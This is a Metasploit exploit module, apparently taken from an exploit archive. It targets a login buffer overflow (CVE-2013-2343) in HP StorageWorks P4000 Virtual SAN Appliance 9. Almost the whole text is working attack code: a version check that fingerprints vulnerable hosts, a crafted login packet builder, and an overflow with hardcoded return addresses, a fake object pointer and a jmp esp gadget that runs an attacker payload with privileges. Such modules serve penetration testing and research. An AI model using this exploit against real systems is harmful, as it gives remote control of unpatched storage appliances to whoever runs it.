HP StorageWorks P4000 Virtual SAN Appliance – Login Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow vulnerability found in HP's StorageWorks P4000 VSA on versions prior to 10.0. The vulnerability is due to an insecure usage of the sscanf() function when parsing login requests. This module has been tested successfully on the HP VSA 9 Virtual Appliance. }, 'License' => MSF_LICENSE, 'Author' => [ 'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2013-2343'], ['OSVDB', '94701'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-179/'], ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03661318'] ], 'Payload' => { 'BadChars' => "\x2f\x00\x0d\x0a", 'Space' => 780, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['linux'], 'Arch' => ARCH_X86, 'Targets' => [ [ 'HP VSA 9', { 'Version' => '9.0.0', 'Offset' => 3446, 'Ret' => 0x0804EB34, # pop ebp # ret # from hydra 'FakeObject' => 0x08072E58, # from hydra data 'JmpEsp' => 0x08050CB8 # push esp # ret # from hydra } ] ], 'Privileged' => true, 'DisclosureDate' => "Jun 28 2013", 'DefaultTarget' => 0)) register_options( [ OptPort.new('RPORT', [true, 'The remote port', 13838]) ], self.class) end def check connect packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"") print_status("#{rhost}:#{rport} Sending login packet to check...") sock.put(packet) res = sock.get_once disconnect if res and res=~ /OK/ and res =~ /Login/ return Exploit::CheckCode::Vulnerable elsif res and res =~ /FAILED/ and res =~ /version/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def generate_packet(data) pkt = "\x00\x00\x00\x00\x00\x00\x00\x01" pkt << [data.length + 1].pack("N*") pkt << "\x00\x00\x00\x00" pkt << "\x00\x00\x00\x00\x00\x00\x00\x00" pkt << "\x00\x00\x00\x14\xff\xff\xff\xff" pkt << data pkt << "\x00" pkt end def exploit connect print_status("#{rhost}:#{rport} Sending login packet") my_bof = rand_text(target['Offset']) my_bof << [target.ret].pack("V") my_bof << [target['FakeObject']].pack("V") # Pointer to Fake Object in order to survive LHNSessionManager::SendMessage before ret my_bof << [target['JmpEsp']].pack("V") my_bof << payload.encoded packet = generate_packet("login:/#global$agent/#{my_bof}/#{rand_text_alpha(5)}/Version \"1\" ") # Fake version in order to ret asap sock.put(packet) disconnect end end |